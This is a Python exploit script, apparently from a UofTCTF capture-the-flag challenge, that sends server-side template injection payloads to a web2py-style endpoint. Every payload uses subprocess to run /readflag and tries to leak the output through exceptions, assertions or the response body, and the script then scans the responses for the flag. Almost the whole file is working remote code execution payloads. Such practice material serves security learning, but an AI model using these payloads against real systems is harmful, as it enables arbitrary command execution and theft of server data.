#!/usr/bin/env python3
"""
Error-based and response-based flag exfiltration
"""

import requests
import urllib3
import re

urllib3.disable_warnings()

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

def error_based_exfil():
    """Try to cause an error that includes the flag"""
    
    payloads = [
        # Raise an exception with the flag as the message
        "{{raise Exception(__import__('subprocess').check_output(['/readflag']).decode())}}",
        
        # Try to use response object
        "{{response.write(__import__('subprocess').check_output(['/readflag']).decode())}}",
        
        # Try assertion error
        "{{assert False, __import__('subprocess').check_output(['/readflag']).decode()}}",
        
        # Try to divide by expression containing flag
        "{{1/eval(__import__('subprocess').check_output(['/readflag']).decode().replace('uoftctf{','\"').replace('}','\"'))}}",
        
        # Return the flag directly (might appear in generic view)
        "{{=(__import__('subprocess').check_output(['/readflag']).decode())}}",
        
        # Try XML wrapper to prevent escaping
        "{{=XML(__import__('subprocess').check_output(['/readflag']).decode())}}",
        
        # Try through globals/response
        "{{globals()['response'].body = __import__('subprocess').check_output(['/readflag']).decode(); ''}}",
    ]
    
    for i, payload in enumerate(payloads, 1):
        print(f"\n[>] Payload {i}/{len(payloads)}: {payload[:70]}...")
        
        try:
            response = requests.get(
                BASE_URL + "/welcome/default/index",
                params={"test": payload},
                verify=False,
                timeout=10
            )
            
            print(f"    Status: {response.status_code}, Length: {len(response.text)}")
            
            # Check for flag in response
            if "uoftctf{" in response.text:
                print("\n" + "="*60)
                print("[!!!] FLAG FOUND IN RESPONSE!")
                print("="*60)
                flags = re.findall(r'uoftctf\{[^}]+\}', response.text)
                for flag in flags:
                    print(f"\nFLAG: {flag}\n")
                
                # Show context around flag
                idx = response.text.find("uoftctf{")
                print(f"Context: ...{response.text[max(0,idx-100):idx+150]}...")
                return flag
            
            # Check for unusual response lengths (might indicate flag in hidden part)
            if len(response.text) > 15000:
                print(f"    [!] Unusually large response! Checking...")
                
        except Exception as e:
            print(f"    Error: {e}")
    
    return None

if __name__ == "__main__":
    flag = error_based_exfil()
    if not flag:
        print("\n[*] No flag found with error-based extraction.")
        print("[*] The SSTI is executing but output is not reflected.")
        print("[*] May need to use blind techniques or find different injection point.")
